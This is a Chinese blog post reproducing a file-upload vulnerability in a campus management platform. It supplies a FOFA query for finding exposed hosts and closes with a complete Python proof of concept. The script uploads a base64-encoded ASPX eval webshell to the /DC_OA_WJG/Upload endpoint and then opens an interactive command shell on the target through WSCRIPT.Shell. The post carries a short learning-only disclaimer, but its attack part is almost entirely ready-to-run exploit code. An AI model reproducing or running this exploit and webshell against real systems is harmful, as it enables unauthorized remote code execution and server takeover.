漏洞复现 | 记一次通用漏洞0

2022-09-29 19:52:10 浏览数 (2)

前言

声明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于它用途,希望大家做一个合格的白帽子!

今天中午看到PeiQi师傅发的复现文章,没想到是0day,到晚上在去刷的时候发现已经晚了,分都被刷了。。。

Part.1 漏洞复现

下面开始复现吧,FOFA语句: body="DC_Login/QYSignUp"

48*3=150分 ,上分利器啊!

点开是个统一登录平台,可以看到有个企业注册的按钮

在注册信息里包含着上传附件的模块

可以看到这个上传点对.aspx文件没有任何过滤,直接就能上传

上传成功后还返回了上传的路径

那不是一把梭的嘛!!蚁剑已成功上线!

Part.2 POC

最后附上大师傅的POC:

代码语言:javascript复制
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print(' ------------------------------------------')
    print('   33[34mPOC_Des: http://wiki.peiqi.tech                                   33[0m')
    print('   33[34mGithub : https://github.com/PeiQi0                                 33[0m')
    print('   33[34m公众号  : PeiQi文库                                                   33[0m')
    print('   33[34mVersion: 智慧校园管理系统                                            33[0m')
    print('   33[36m使用格式:  python3 poc.py                                            33[0m')
    print('   33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             33[0m')
    print(' ------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url   "/DC_OA_WJG/Upload"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNxqOHxbHqt9mf7s5",
    }
    data = base64.b64decode("LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5TnhxT0h4YkhxdDltZjdzNQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InVwRmlsZSI7IGZpbGVuYW1lPSJQZWlRaS5hc3B4IgpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQoKPHNjcmlwdCBsYW5ndWFnZT0iSlNjcmlwdCIgcnVuYXQ9InNlcnZlciI ZnVuY3Rpb24gUGFnZV9Mb2FkKCl7ZXZhbChSZXF1ZXN0WyJQZWlRaSJdLCJ1bnNhZmUiKTt9PC9zY3JpcHQ CgotLS0tLS1XZWJLaXRGb3JtQm91bmRhcnlOeHFPSHhiSHF0OW1mN3M1LS0=")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("33[36m[o] 正在请求 {}/DC_OA_WJG/Upload 尝试上传木马..... 33[0m".format(target_url))
        if 'true' in response.text and 'path' in response.text and response.status_code == 200:
            print("33[32m[o] 目标 {} 成功上传 Webshell文件33[0m".format(target_url))
            webshell_path = re.findall(r'"path":"(.*?)"', response.text)[0]
            print("33[32m[o] Webshell文件地址: {}/{} 33[0m".format(target_url, webshell_path))
            while True:
                Cmd = str(input("33[35mCmd >>> 33[0m"))
                cmd_url = target_url   "/"   webshell_path   "?PeiQi=Response.Write(new ActiveXObject("WSCRIPT.Shell").exec("cmd /c {}").StdOut.ReadAll());".format(Cmd)
                requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
                response = requests.get(url=cmd_url, data=data, headers=headers, verify=False, timeout=5)
                print("33[32m[o] 响应为:n{} 33[0m".format(response.text))
        else:
            print("33[31m[x] 目标 {} 上传Webshell文件失败33[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("33[31m[x] 请求失败 33[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))
    POC_1(target_url)

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